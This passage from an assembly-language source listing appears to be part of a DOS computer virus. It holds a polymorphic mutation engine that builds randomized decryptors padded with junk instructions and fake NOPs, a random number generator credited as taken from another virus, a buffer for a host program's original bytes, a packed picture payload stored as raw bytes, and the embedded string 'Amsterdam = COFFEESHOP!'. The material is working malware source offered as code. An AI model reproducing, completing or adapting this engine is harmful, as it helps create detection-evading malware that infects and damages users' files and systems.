  1071.                 jz      ll0                     ;  no LOOPNZ if xor-offset
  1072.                 add     al,2                    ;  no LOOPNZ if CMPSW/SCASW
  1073. ll0:            stosb
  1074.                 mov     ax,dx
  1075.                 sub     ax,di
  1076.                 dec     ax
  1077.                 stosb
  1078.                 ret
  1079.  
  1080. cx_loop:        test    bh,10                   ;SUB CX or DEC CX?
  1081.                 jnz     cxl_dec
  1082.                 mov     ax,0E983
  1083.                 stosw
  1084.                 mov     al,1
  1085.                 stosb
  1086.                 jmp     short do_jne                
  1087.  
  1088. cxl_dec:        mov     al,49
  1089.                 stosb
  1090. do_jne:         mov     al,75
  1091.                 jmp     short ll0
  1092.  
  1093.  
  1094. ;****************************************************************************
  1095. ;*              add value to AL depending on register type
  1096. ;****************************************************************************
  1097.  
  1098. add_dir:        mov     si,offset dir_change
  1099.                 jmp     short xx1
  1100.  
  1101. add_ind:        mov     si,offset ind_change
  1102. xx1:            push    bx
  1103.                 shr     bl,1
  1104.                 shr     bl,1
  1105.                 and     bx,3
  1106.                 add     al,byte ptr ds:[bx+si]
  1107.                 pop     bx
  1108.                 ret
  1109.  
  1110.  
  1111. ;****************************************************************************
  1112. ;*              mov encryption command byte to AL
  1113. ;****************************************************************************
  1114.  
  1115. get_xor:        push    bx
  1116.                 mov     ax,offset how_mode
  1117.                 xchg    ax,bx
  1118.                 and     ax,3
  1119.                 xlat
  1120.                 pop     bx
  1121.                 ret
  1122.  
  1123.  
  1124. ;****************************************************************************
  1125. ;*              change ADD into ADC
  1126. ;****************************************************************************
  1127.  
  1128. do_carry:       test    bl,2                    ;ADD/SUB used for encryption?
  1129.                 jz      no_ac
  1130.                 test    bh,20                   ;carry with (encr.) ADD/SUB?
  1131.                 jz      no_ac
  1132.                 and     al,0CF
  1133.                 or      al,10
  1134. no_ac:          ret
  1135.  
  1136.  
  1137. ;****************************************************************************
  1138. ;*              change AL (byte/word)
  1139. ;****************************************************************************
  1140.  
  1141. add_1:          test    bl,10
  1142.                 jz      add_1_ret
  1143.                 inc     al
  1144. add_1_ret:      ret
  1145.  
  1146.  
  1147. ;****************************************************************************
  1148. ;*              change AL (byte/word)
  1149. ;****************************************************************************
  1150.  
  1151. maybe_2:        call    add_1
  1152.                 cmp     al,81                   ;can't touch this
  1153.                 je      maybe_not
  1154.                 push    ax
  1155.                 call    rnd_get
  1156.                 test    al,1
  1157.                 pop     ax
  1158.                 jz      maybe_not
  1159.                 add     al,2
  1160. maybe_not:      ret
  1161.  
  1162.  
  1163. ;****************************************************************************
  1164. ;*              get random nop (or not)
  1165. ;****************************************************************************
  1166.  
  1167. do_nop:         test    byte ptr ds:[flags],2
  1168.                 jz      no_nop
  1169. yes_nop:        call    rnd_get
  1170.                 test    al,3
  1171.                 jz      nop8
  1172.                 test    al,2
  1173.                 jz      nop16
  1174.                 test    al,1
  1175.                 jz      nop16x
  1176. no_nop:         ret
  1177.  
  1178.  
  1179. ;****************************************************************************
  1180. ;*              Insert random instructions
  1181. ;****************************************************************************
  1182.  
  1183. do_junk:        test    byte ptr ds:[flags],4
  1184.                 jz      no_junk
  1185.                 call    rnd_get                 ;put a random number of
  1186.                 and     ax,0F                   ;  dummy instructions before
  1187.                 inc     ax                      ;  decryptor
  1188.                 xchg    ax,cx
  1189. junk_loop:      call    junk
  1190.                 loop    junk_loop
  1191. no_junk:        ret
  1192.  
  1193.  
  1194. ;****************************************************************************
  1195. ;*              get rough random nop (may affect register values)
  1196. ;****************************************************************************
  1197.  
  1198. junk:           call    rnd_get
  1199.                 and     ax,1E
  1200.                 jmp     short aa0
  1201. nop16x:         call    rnd_get
  1202.                 and     ax,06
  1203. aa0:            xchg    ax,si
  1204.                 call    rnd_get
  1205.                 jmp     word ptr ds:[si+junkcals]
  1206.  
  1207.  
  1208. ;****************************************************************************
  1209. ;*              NOP and junk addresses
  1210. ;****************************************************************************
  1211.  
  1212. junkcals        dw      offset nop16x0
  1213.                 dw      offset nop16x1
  1214.                 dw      offset nop16x2
  1215.                 dw      offset nop16x3
  1216.                 dw      offset nop8
  1217.                 dw      offset nop16
  1218.                 dw      offset junk6
  1219.                 dw      offset junk7
  1220.                 dw      offset junk8
  1221.                 dw      offset junk9
  1222.                 dw      offset junkA
  1223.                 dw      offset junkB
  1224.                 dw      offset junkC
  1225.                 dw      offset junkD
  1226.                 dw      offset junkE
  1227.                 dw      offset junkF
  1228.  
  1229.  
  1230. ;****************************************************************************
  1231. ;*              NOP and junk routines
  1232. ;****************************************************************************
  1233.  
  1234. nop16x0:        and     ax,000F                 ;J* 0000 (conditional)
  1235.                 or      al,70
  1236.                 stosw
  1237.                 ret
  1238.  
  1239.  
  1240. nop16x1:        mov     al,0EBh                 ;JMP xxxx / junk
  1241.                 and     ah,07
  1242.                 inc     ah
  1243.                 stosw
  1244.                 xchg    al,ah                   ;get lenght of bullshit
  1245.                 cbw
  1246.                 jmp     fill_bullshit
  1247.  
  1248.  
  1249. nop16x2:        call    junkD                   ;XCHG AX,reg / XCHG AX,reg
  1250.                 stosb
  1251.                 ret
  1252.  
  1253.  
  1254. nop16x3:        call    junkF                   ;INC / DEC or DEC / INC
  1255.                 xor     al,8
  1256.                 stosb
  1257.                 ret
  1258.  
  1259.  
  1260. nop8:           push    bx                      ;8-bit NOP
  1261.                 and     al,7
  1262.                 mov     bx,offset nop_data8
  1263.                 xlat
  1264.                 stosb
  1265.                 pop     bx
  1266.                 ret
  1267.  
  1268.  
  1269. nop16:          push    bx                      ;16-bit NOP
  1270.                 and     ax,0303
  1271.                 mov     bx,offset nop_data16
  1272.                 xlat
  1273.                 add     al,ah
  1274.                 stosb
  1275.                 call    rnd_get
  1276.                 and     al,7
  1277.                 mov     bl,9
  1278.                 mul     bl
  1279.                 add     al,0C0
  1280.                 stosb
  1281.                 pop     bx
  1282.                 ret
  1283.  
  1284.  
  1285. junk6:          push    cx                      ;CALL xxxx / junk / POP reg
  1286.                 mov     al,0E8
  1287.                 and     ah,0F
  1288.                 inc     ah
  1289.                 stosw
  1290.                 xor     al,al
  1291.                 stosb
  1292.                 xchg    al,ah
  1293.                 call    fill_bullshit
  1294.                 call    do_nop
  1295.                 call    rnd_get                 ;insert POP reg
  1296.                 and     al,7
  1297.                 call    no_sp
  1298.                 mov     cx,ax
  1299.                 or      al,58
  1300.                 stosb
  1301.  
  1302.                 test    ch,3                    ;more?
  1303.                 jnz     junk6_ret
  1304.  
  1305.                 call    do_nop
  1306.                 mov     ax,0F087                ;insert XCHG SI,reg
  1307.                 or      ah,cl
  1308.                 test    ch,8
  1309.                 jz      j6_1
  1310.                 mov     al,8Bh
  1311. j6_1:           stosw
  1312.  
  1313.                 call    do_nop
  1314.                 push    bx
  1315.                 call    rnd_get
  1316.                 xchg    ax,bx
  1317.                 and     bx,0F7FBh               ;insert XOR [SI],xxxx
  1318.                 or      bl,8
  1319.                 call    do_xor
  1320.                 pop     bx
  1321. junk6_ret:      pop     cx
  1322.                 ret
  1323.  
  1324.  
  1325. junk7:          and     al,0F                   ;MOV reg,xxxx
  1326.                 or      al,0B0
  1327.                 call    no_sp
  1328.                 stosb
  1329.                 test    al,8
  1330.                 pushf
  1331.                 call    rnd_get
  1332.                 popf
  1333.                 jmp     short byte_word
  1334.  
  1335.  
  1336. junk8:          and     ah,39                   ;DO r/m,r(8/16)
  1337.                 or      al,0C0
  1338.                 call    no_sp
  1339.                 xchg    al,ah
  1340.                 stosw
  1341.                 ret
  1342.  
  1343.  
  1344. junk9:          and     al,3Bh                  ;DO r(8/16),r/m
  1345.                 or      al,2
  1346.                 and     ah,3F
  1347.                 call    no_sp2
  1348.                 call    no_bp
  1349.                 stosw
  1350.                 ret
  1351.  
  1352.  
  1353. junkA:          and     ah,1                    ;DO rm,xxxx
  1354.                 or      ax,80C0
  1355.                 call    no_sp
  1356.                 xchg    al,ah       
  1357.                 stosw
  1358.                 test    al,1
  1359.                 pushf
  1360.                 call    rnd_get
  1361.                 popf
  1362.                 jmp     short byte_word
  1363.  
  1364.  
  1365. junkB:          call    nop8                    ;NOP / LOOP
  1366.                 mov     ax,0FDE2
  1367.                 stosw
  1368.                 ret
  1369.  
  1370.  
  1371. junkC:          and     al,09                   ;CMPS* or SCAS*
  1372.                 test    ah,1
  1373.                 jz      mov_test
  1374.                 or      al,0A6
  1375.                 stosb
  1376.                 ret
  1377. mov_test:       or      al,0A0                  ;MOV AX,[xxxx] or TEST AX,xxxx
  1378.                 stosb
  1379.                 cmp     al,0A8
  1380.                 pushf
  1381.                 call    rnd_get
  1382.                 popf
  1383.                 jmp     short byte_word
  1384.  
  1385.  
  1386. junkD:          and     al,07                   ;XCHG AX,reg
  1387.                 or      al,90
  1388.                 call    no_sp
  1389.                 stosb
  1390.                 ret
  1391.  
  1392.  
  1393. junkE:          and     ah,07                   ;PUSH reg / POP reg
  1394.                 or      ah,50
  1395.                 mov     al,ah
  1396.                 or      ah,08
  1397.                 stosw
  1398.                 ret
  1399.  
  1400.  
  1401. junkF:          and     al,0F                   ;INC / DEC
  1402.                 or      al,40
  1403.                 call    no_sp
  1404.                 stosb
  1405.                 ret
  1406.  
  1407.  
  1408. ;****************************************************************************
  1409. ;*              store a byte or a word
  1410. ;****************************************************************************
  1411.  
  1412. byte_word:      jz      only_byte
  1413.                 stosw
  1414.                 ret
  1415.  
  1416. only_byte:      stosb
  1417.                 ret
  1418.  
  1419.  
  1420. ;****************************************************************************
  1421. ;*              don't fuck with SP!
  1422. ;****************************************************************************
  1423.  
  1424. no_sp:          push    ax
  1425.                 and     al,7
  1426.                 cmp     al,4
  1427.                 pop     ax
  1428.                 jnz     no_sp_ret
  1429.                 and     al,0FBh
  1430. no_sp_ret:      ret
  1431.  
  1432.  
  1433. ;****************************************************************************
  1434. ;*              don't fuck with SP!
  1435. ;****************************************************************************
  1436.  
  1437. no_sp2:         push    ax
  1438.                 and     ah,38
  1439.                 cmp     ah,20
  1440.                 pop     ax
  1441.                 jnz     no_sp2_ret
  1442.                 xor     ah,20
  1443. no_sp2_ret:     ret
  1444.  
  1445.  
  1446. ;****************************************************************************
  1447. ;*              don't use [BP+..]
  1448. ;****************************************************************************
  1449.  
  1450. no_bp:          test    ah,4
  1451.                 jnz     no_bp2
  1452.                 and     ah,0FDh
  1453.                 ret
  1454.  
  1455. no_bp2:         push    ax
  1456.                 and     ah,7
  1457.                 cmp     ah,6
  1458.                 pop     ax
  1459.                 jnz     no_bp_ret
  1460.                 or      ah,1
  1461. no_bp_ret:      ret
  1462.  
  1463.  
  1464. ;****************************************************************************
  1465. ;*              write byte for JMP/CALL and fill with random bullshit
  1466. ;****************************************************************************
  1467.  
  1468. fill_bullshit:  push    cx
  1469.                 xchg    ax,cx
  1470. bull_lup:       call    rnd_get
  1471.                 stosb
  1472.                 loop    bull_lup
  1473.                 pop     cx
  1474.                 ret
  1475.  
  1476.  
  1477. ;****************************************************************************
  1478. ;*              random number generator  (stolen from 'Bomber')
  1479. ;****************************************************************************
  1480.  
  1481. rnd_init:       push    cx
  1482.                 call    rnd_init0               ;init
  1483.                 and     ax,000F
  1484.                 inc     ax
  1485.                 xchg    ax,cx
  1486. random_lup:     call    rnd_get                 ;call random routine a few
  1487.                 loop    random_lup              ;  times to 'warm up'
  1488.                 pop     cx
  1489.                 ret
  1490.  
  1491. rnd_init0:      push    dx                      ;initialize generator
  1492.                 push    cx
  1493.                 mov     ah,2C
  1494.                 int     21
  1495.                 in      al,40
  1496.                 mov     ah,al
  1497.                 in      al,40
  1498.                 xor     ax,cx
  1499.                 xor     dx,ax
  1500.                 jmp     short move_rnd
  1501.  
  1502. rnd_get:        push    dx                      ;calculate a random number
  1503.                 push    cx
  1504.                 push    bx
  1505.                 mov     ax,0                    ;will be: mov ax,xxxx
  1506.                 mov     dx,0                    ;  and mov dx,xxxx
  1507.                 mov     cx,7
  1508. rnd_lup:        shl     ax,1
  1509.                 rcl     dx,1
  1510.                 mov     bl,al
  1511.                 xor     bl,dh
  1512.                 jns     rnd_l2
  1513.                 inc     al
  1514. rnd_l2:         loop    rnd_lup
  1515.                 pop     bx
  1516.  
  1517. move_rnd:       mov     word ptr ds:[rnd_get+4],ax
  1518.                 mov     word ptr ds:[rnd_get+7],dx
  1519.                 mov     al,dl
  1520.                 pop     cx
  1521.                 pop     dx
  1522.                 ret
  1523.  
  1524.  
  1525. ;****************************************************************************
  1526. ;*              tables for engine
  1527. ;****************************************************************************
  1528.  
  1529.                 ;       AX   AL   AH      (BX) BL   BH      CX   CL   CH
  1530. mov_byte        db      0B8, 0B0, 0B4, 0, 0B8, 0B3, 0B7, 0, 0B9, 0B1, 0B5
  1531.  
  1532.                 ;       nop clc  stc  cmc  cli  cld incbp decbp
  1533. nop_data8       db      90, 0F8, 0F9, 0F5, 0FA, 0FC, 45,  4Dh
  1534.  
  1535.                 ;      or and xchg mov
  1536. nop_data16      db      8, 20, 84, 88
  1537.  
  1538.                 ;     bl/bh, bx, si  di
  1539. dir_change      db      07, 07, 04, 05
  1540. ind_change      db      03, 03, 06, 07
  1541.  
  1542.  
  1543.                 ;       xor xor add sub
  1544. how_mode        db      30, 30, 00, 28
  1545.  
  1546.                 ;       ?  add  xor  or
  1547. add_mode        db      0, 0C8, 0F0, 0C0
  1548.  
  1549.  
  1550. ;****************************************************************************
  1551. ;*              text + buffer
  1552. ;****************************************************************************
  1553.  
  1554.                 db      ' Amsterdam = COFFEESHOP! '
  1555.  
  1556. buffer          db      0CDh, 20                ;original code of dummy program
  1557.                 db      (BUFLEN-2) dup (?)
  1558.  
  1559.  
  1560. ;****************************************************************************
  1561. ;*              the (packed) picture routine
  1562. ;****************************************************************************
  1563.                                                 
  1564. beeld           db      0BFh, 0A1h, 015h, 090h, 090h, 090h, 090h, 090h
  1565.                 db      090h, 090h, 090h, 0BEh, 0F9h, 003h, 0B9h, 06Bh
  1566.                 db      001h, 0FDh, 0F3h, 0A5h, 0FCh, 08Bh, 0F7h, 0BFh
  1567.                 db      000h, 001h, 0ADh, 0ADh, 08Bh, 0E8h, 0B2h, 010h
  1568.                 db      0E9h, 036h, 014h, 04Fh, 08Fh, 07Fh, 0FCh, 0B4h
  1569.                 db      00Fh, 0CDh, 010h, 0B4h, 000h, 050h, 0FBh, 0B7h
  1570.                 db      0B0h, 03Ch, 007h, 074h, 0FFh, 0FFh, 00Ah, 03Ch
  1571.                 db      004h, 073h, 028h, 0B7h, 0B8h, 03Ch, 002h, 072h
  1572.                 db      022h, 08Eh, 0C3h, 0BEh, 040h, 001h, 0FFh, 0FFh
  1573.                 db      0B0h, 019h, 057h, 0B1h, 050h, 0F3h, 0A5h, 05Fh
  1574.                 db      081h, 0C7h, 0A0h, 000h, 0FEh, 0C8h, 075h, 0F2h
  1575.                 db      003h, 08Fh, 0B8h, 007h, 00Eh, 0D6h, 0FBh, 00Ch
  1576.                 db      0CDh, 021h, 058h, 0F8h, 063h, 0A7h, 0CBh, 020h
  1577.                 db      002h, 0FEh, 020h, 000h, 0FAh, 0EBh, 0B0h, 0FCh
  1578.                 db      0F8h, 003h, 077h, 0F0h, 0E0h, 0D0h, 041h, 00Fh
  1579.                 db      0C0h, 02Fh, 007h, 01Dh, 080h, 06Fh, 0BAh, 0DCh
  1580.                 db      0E1h, 034h, 0DBh, 00Ch, 0F8h, 0F0h, 00Eh, 0DFh
  1581.                 db      0FEh, 0F4h, 0F8h, 0BBh, 0AEh, 0F8h, 0E4h, 003h
  1582.                 db      084h, 0E0h, 0FCh, 0EBh, 0B0h, 0E6h, 0EAh, 0A3h
  1583.                 db      083h, 0DAh, 0AAh, 00Eh, 0DCh, 009h, 0BAh, 0C8h
  1584.                 db      001h, 03Ah, 0F0h, 050h, 007h, 0A2h, 0E8h, 0E0h
  1585.                 db      0ACh, 005h, 0DBh, 00Eh, 077h, 00Fh, 0F8h, 0DCh
  1586.                 db      0F6h, 0BAh, 0AEh, 0F0h, 0F6h, 0EBh, 03Ah, 0F0h
  1587.                 db      0F4h, 0E0h, 040h, 017h, 0FAh, 0ECh, 01Dh, 072h
  1588.                 db      0DFh, 0DAh, 0D2h, 074h, 0F8h, 0BAh, 0DDh, 020h
  1589.                 db      01Dh, 074h, 0DEh, 020h, 0AAh, 007h, 0BAh, 0D8h
  1590.                 db      061h, 0F8h, 047h, 087h, 0F8h, 0E8h, 0E1h, 0E8h
  1591.                 db      0F8h, 092h, 0F4h, 000h, 01Dh, 060h, 0D8h, 0E8h
  1592.                 db      009h, 0DCh, 0FEh, 009h, 0F8h, 0B0h, 023h, 0F8h
  1593.                 db      05Ch, 0D7h, 0FCh, 0F8h, 0FCh, 0E8h, 001h, 03Bh
  1594.                 db      0F4h, 0ECh, 080h, 0D2h, 01Dh, 0BEh, 0BAh, 05Ch
  1595.                 db      020h, 07Ch, 003h, 075h, 060h, 0CAh, 020h, 00Eh
  1596.                 db      0B2h, 0D8h, 081h, 0F0h, 03Bh, 040h, 092h, 0D7h
  1597.                 db      0B5h, 0CEh, 0F8h, 0DCh, 060h, 0A7h, 041h, 0DEh
  1598.                 db      060h, 002h, 0B5h, 0BEh, 03Ch, 020h, 00Fh, 07Bh
  1599.                 db      022h, 065h, 007h, 01Dh, 060h, 06Eh, 084h, 0CCh
  1600.                 db      0DFh, 00Dh, 020h, 0C0h, 0B3h, 020h, 02Fh, 060h
  1601.                 db      041h, 01Eh, 06Ah, 0DEh, 07Eh, 00Ah, 042h, 0E0h
  1602.                 db      009h, 0E4h, 0C0h, 075h, 030h, 060h, 00Bh, 0DFh
  1603.                 db      01Ch, 0F4h, 0E4h, 042h, 04Fh, 05Eh, 05Eh, 041h
  1604.                 db      09Ah, 022h, 006h, 02Bh, 01Ch, 080h, 060h, 03Eh
  1605.                 db      084h, 057h, 005h, 0CAh, 046h, 0A4h, 0D0h, 07Bh
  1606.                 db      053h, 07Ah, 097h, 005h, 015h, 0C2h, 004h, 020h
  1607.                 db      01Dh, 054h, 060h, 001h, 0C8h, 051h, 041h, 0E8h
  1608.                 db      0DCh, 006h, 054h, 0BEh, 077h, 0D8h, 02Dh, 078h
  1609.                 db      07Ah, 050h, 055h, 001h, 004h, 020h, 05Dh, 007h
  1610.                 db      076h, 02Eh, 0AEh, 03Ah, 0C6h, 062h, 0E8h, 0A0h
  1611.                 db      055h, 05Eh, 009h, 0A2h, 002h, 0C0h, 020h, 057h
  1612.                 db      084h, 0C6h, 0D0h, 004h, 01Dh, 02Ah, 05Dh, 05Eh
  1613.                 db      0D6h, 016h, 017h, 080h, 098h, 0A4h, 040h, 003h
  1614.                 db      050h, 0EAh, 0ACh, 05Dh, 005h, 062h, 0C4h, 01Dh
  1615.                 db      070h, 059h, 05Eh, 0C4h, 067h, 005h, 082h, 0DCh
  1616.                 db      020h, 002h, 005h, 060h, 020h, 0E4h, 090h, 062h
  1617.                 db      019h, 0D4h, 094h, 065h, 0ECh, 00Eh, 069h, 05Eh
  1618.                 db      0CFh, 007h, 0A0h, 070h, 020h, 0B0h, 0A2h, 0B2h
  1619.                 db      083h, 00Ah, 062h, 069h, 0CCh, 03Bh, 060h, 05Eh
  1620.                 db      0D5h, 002h, 0BEh, 080h, 070h, 090h, 062h, 004h
  1621.                 db      072h, 083h, 055h, 0FEh, 06Eh, 010h, 041h, 040h
  1622.                 db      041h, 0AEh, 0FEh, 0CEh, 075h, 034h, 09Eh, 0FEh
  1623.                 db      002h, 071h, 05Ch, 0BAh, 0AAh, 0E6h, 0CCh, 018h
  1624.                 db      072h, 0C0h, 062h, 040h, 00Eh, 06Ch, 07Bh, 047h
  1625.                 db      0F2h, 0BCh, 005h, 015h, 028h, 050h, 026h, 0E1h
  1626.                 db      070h, 0FEh, 052h, 05Fh, 068h, 009h, 0FEh, 0BEh
  1627.                 db      040h, 010h, 02Ah, 0F2h, 0AEh, 0E0h, 03Ah, 070h
  1628.                 db      0FEh, 0FCh, 06Ah, 04Ah, 050h, 0DEh, 061h, 0ACh
  1629.                 db      061h, 0C7h, 050h, 00Eh, 001h, 03Eh, 072h, 060h
  1630.                 db      048h, 08Eh, 00Ah, 06Ah, 096h, 03Ah, 0E8h, 002h
  1631.                 db      066h, 058h, 084h, 0B0h, 045h, 0B4h, 007h, 020h
  1632.                 db      05Ah, 0EAh, 0E9h, 0C0h, 044h, 02Dh, 060h, 0E8h
  1633.                 db      093h, 0A0h, 09Eh, 073h, 048h, 050h, 0C6h, 0FFh
  1634.                 db      0F0h, 041h, 0D3h, 0FFh, 060h, 040h, 001h, 0FFh
  1635.                 db      0D1h, 0EDh, 0FEh, 0CAh, 075h, 005h, 0ADh, 08Bh
  1636.                 db      0E8h, 0B2h, 010h, 0C3h, 0E8h, 0F1h, 0FFh, 0D0h
  1637.                 db      0D7h, 0E8h, 0ECh, 0FFh, 072h, 014h, 0B6h, 002h
  1638.                 db      0B1h, 003h, 0E8h, 0E3h, 0FFh, 072h, 009h, 0E8h
  1639.                 db      0DEh, 0FFh, 0D0h, 0D7h, 0D0h, 0E6h, 0E2h, 0F2h
  1640.                 db      02Ah, 0FEh, 0B6h, 002h, 0B1h, 004h, 0FEh, 0C6h
  1641.                 db      0E8h, 0CDh, 0FFh, 072h, 010h, 0E2h, 0F7h, 0E8h
  1642.                 db      0C6h, 0FFh, 073h, 00Dh, 0FEh, 0C6h, 0E8h, 0BFh
  1643.                 db      0FFh, 073h, 002h, 0FEh, 0C6h, 08Ah, 0CEh, 0EBh
  1644.                 db      02Ah, 0E8h, 0B4h, 0FFh, 072h, 010h, 0B1h, 003h
  1645.                 db      0B6h, 000h, 0E8h, 0ABh, 0FFh, 0D0h, 0D6h, 0E2h
  1646.                 db      0F9h, 080h, 0C6h, 009h, 0EBh, 0E7h, 0ACh, 08Ah
  1647.                 db      0C8h, 083h, 0C1h, 011h, 0EBh, 00Dh, 0B1h, 003h
  1648.                 db      0E8h, 095h, 0FFh, 0D0h, 0D7h, 0E2h, 0F9h, 0FEh
  1649.                 db      0CFh, 0B1h, 002h, 026h, 08Ah, 001h, 0AAh, 0E2h
  1650.                 db      0FAh, 0E8h, 084h, 0FFh, 073h, 003h, 0A4h, 0EBh
  1651.                 db      0F8h, 0E8h, 07Ch, 0FFh, 0ACh, 0B7h, 0FFh, 08Ah
  1652.                 db      0D8h, 072h, 081h, 0E8h, 072h, 0FFh, 072h, 0D6h
  1653.                 db      03Ah, 0FBh, 075h, 0DDh, 033h, 0EDh, 033h, 0FFh
  1654.                 db      033h, 0F6h, 033h, 0D2h, 033h, 0DBh, 033h, 0C0h
  1655.                 db      0E9h, 07Dh, 0EBh
  1656.                 
  1657. last:
  1658.  
  1659. _TEXT           ends
  1660.                 end    first
  1661. 
  1662.  
  1663.